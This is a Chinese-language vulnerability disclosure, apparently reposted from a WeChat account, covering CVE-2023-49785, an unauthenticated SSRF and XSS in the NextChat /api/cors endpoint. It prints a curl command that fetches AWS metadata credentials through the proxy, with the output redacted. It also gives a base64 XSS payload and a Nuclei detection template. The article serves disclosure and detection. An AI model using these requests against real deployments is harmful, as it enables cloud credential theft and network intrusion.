ChatGPT Next 通杀!NextChat cors SSRF 漏洞(CVE-2023-49785)

admin 2024年3月22日09:47:32评论33 views字数 3370阅读11分14秒阅读模式

ChatGPT Next 通杀!NextChat cors SSRF 漏洞(CVE-2023-49785)

ChatGPT Next 通杀!NextChat cors SSRF 漏洞(CVE-2023-49785)

随着生成式AI的出现,AI聊天机器人无处不在。虽然用户可以使用OpenAI等SaaS提供商与大型语言模型(LLM)聊天,但也有许多独立的聊天机器人应用程序可供用户部署和使用。这些独立应用程序通常提供比OpenAI更丰富的用户界面,附加功能,例如插入和测试不同模型的能力,以及潜在绕过IP阻止限制的能力。

根据我们的研究,部署最广泛的独立Gen AI聊天机器人是NextChat,也就是ChatGPT-Next-Web。这是一个GitHub项目,有63 K+的star和52 K+的forks。Shodan查询标题:NextChat,“ChatGPT Next Web”列出了7500多个暴露的实例,主要在中国和美国。

此应用程序容易受到一个关键的完整读取服务器端请求伪造(SSRF)漏洞CVE-2023-49785的攻击,我们于2023年11月向供应商披露了该漏洞。截至撰写本文时,该漏洞还没有补丁,自我们最初披露以来已经过去了90多天,我们现在在这里发布完整的细节。

ChatGPT Next 通杀!NextChat cors SSRF 漏洞(CVE-2023-49785)

CVE-2023-49785: A Super SSRF

NextChat是一个基于Next.js的JavaScript应用程序,它的大部分功能都是作为客户端代码实现的。

ChatGPT Next 通杀!NextChat cors SSRF 漏洞(CVE-2023-49785)

但是,有一些暴露的服务器端点。其中一个端点位于/API/cors,它的功能设计为开放代理,允许未经身份验证的用户通过它发送任意HTTP请求。添加此端点似乎是为了支持将客户端聊天数据保存到WebDAV服务器。此端点的存在是一种反模式:它允许客户端绕过内置的浏览器保护,通过服务器端端点访问跨域资源。

ChatGPT Next 通杀!NextChat cors SSRF 漏洞(CVE-2023-49785)

例如,要通过此代理访问Google,可以提出以下请求:

ChatGPT Next 通杀!NextChat cors SSRF 漏洞(CVE-2023-49785)

SSRF漏洞在现实世界的影响方面有很大的不同。这个特别的SSRF就像它得到的一样糟糕。这很危险,因为:

    它允许访问任意HTTP端点,包括任何内部端点

    它返回来自任何访问的HTTP端点的完整响应

    它通过设置方法头来支持任意HTTP方法,如POST,PUT等。请求体也会沿着传递。

    URL查询参数可以与URL编码一起沿着传递。

    它支持在请求中传递沿着Authorization头。

如果此应用程序暴露在Internet上,攻击者基本上可以完全访问与该应用程序在同一内部网络中可访问的任何其他HTTP资源。唯一的限制是传递沿着其他头,如Cookie或Content-Type,尽管可能有创造性的方法来注入这些头。

下面是访问AWS云元数据服务以检索启用IMDSv 1的AWS EC2实例的AWS访问密钥的示例:

ChatGPT Next 通杀!NextChat cors SSRF 漏洞(CVE-2023-49785)

sh-3.2# curl http://54.145.48.76:3000/api/cors/http/169.254.169.254/latest/meta-data/iam/security-credentials/REDACTED
{
"Code" : "Success",
"LastUpdated" : "2024-03-08T00:22:17Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA-REDACTED",
"SecretAccessKey" : "C2CW-REDACTED",
"Token" : "IQoJb3JpZ2luX2VjENH-REDACTED",
"Expiration" : "2024-03-08T06:58:15Z"

}

Reflected XSS

几乎所有反射的XSS漏洞对攻击者来说都没有什么价值。

但我们认为值得注意的是,这个漏洞可以用来直接触发XSS,

而无需加载另一个网站。

这是因为/API/cors端点使用的fetch方法也支持数据协议。

data:text%2fhtml;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+%23

将在服务器上解码为<script>alert(document.domain)</script>并发送回客户端,从而生成XSS:

ChatGPT Next 通杀!NextChat cors SSRF 漏洞(CVE-2023-49785)

缓解措施

我们对该漏洞的评估将CVE基础评分定为9.1(严重)。该漏洞不仅允许对内部HTTP端点进行读访问,还允许使用HTTP POST、PUT和其他方法进行写访问。攻击者还可以利用此漏洞通过这些开放代理转发针对其他Internet目标的恶意流量来掩盖其源IP。

在撰写本文时,还没有针对该漏洞的补丁。从我们第一次接触到现在已经过去了90多天。

    2023年11月25日:Horizon 3通过GitHub漏洞披露流程向ChatGPT-Next-Web报告安全问题

    2023年11月26日:供应商接受报告

    2023年12月6日:GitHub CNA保留CVE-2023-49785

    2024年1月15日:Horizon 3要求供应商使用GitHub安全问题进行更新。没有回应。

    2024年3月7日:Horizon 3要求供应商使用GitHub安全问题进行更新。没有回应。

    2024年3月11日:公开披露

我们建议用户不要在Internet上公开此应用程序。如果它必须暴露于Internet,请确保它是一个无法访问任何其他内部资源的隔离网络。请注意,攻击者仍然可以使用该应用程序作为开放代理,通过它伪装到其他目标的恶意流量。

检测

以下核心模板可用于检测此漏洞。易受攻击的代码于9月推出。2023.大多数在线实例,包括使用最近的“NextChat”名称的任何实例,都很可能受到攻击。

id: CVE-2023-49785info:  name: CVE-2023-49785  author: nvn1729  severity: critical  description: Full-Read SSRF/XSS in NextChat, aka ChatGPT-Next-Web  remediation: |    Do not expose to the Internet  classification:    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N    cvss-score: 9.1    cve-id: CVE-2023-49785  tags: cve-2023-49785,ssrf,xsshttp:  - method: GET    path:      - "{{BaseURL}}/api/cors/data:text%2fhtml;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+%23"      - "{{BaseURL}}/api/cors/http:%2f%2fnextchat.{{interactsh-url}}%23"    matchers-condition: and    matchers:      - type: word        part: interactsh_protocol # Confirms the DNS interaction from second request        words:          - "dns"      - type: dsl        dsl:          - 'contains(body_1, "<script>alert(document.domain)</script>") && contains(header_1, "text/html")' # XSS validation in first request          - 'contains(header_2, "X-Interactsh-Version")' # Or got HTTP response back from Interact server

结论

在过去的两年里,我们观察到新的生成式人工智能应用程序的快速发展,并且有很大的兴趣使用和试验这些应用程序。我们还观察到,个人使用和企业使用之间的界限正在逐渐模糊。虽然NextChat主要用于个人使用,但我们已经在一些客户端环境中看到了它。

安全性根本没有跟上,无论是AppSec的做法和漏洞披露过程。Infosec社区和媒体的关注点一直集中在“安全危害”上,如快速注入或模型中毒,但仍有许多影响巨大的传统漏洞有待发现。我们建议用户在将任何未公开的Gen AI工具暴露于互联网时谨慎行事。

引用

    NextChat,又名ChatGPT-Next-Web

原文始发于微信公众号(黑伞安全):ChatGPT Next 通杀!NextChat cors SSRF 漏洞(CVE-2023-49785)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月22日09:47:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ChatGPT Next 通杀!NextChat cors SSRF 漏洞(CVE-2023-49785)https://cn-sec.com/archives/2592695.html

发表评论

匿名网友 填写信息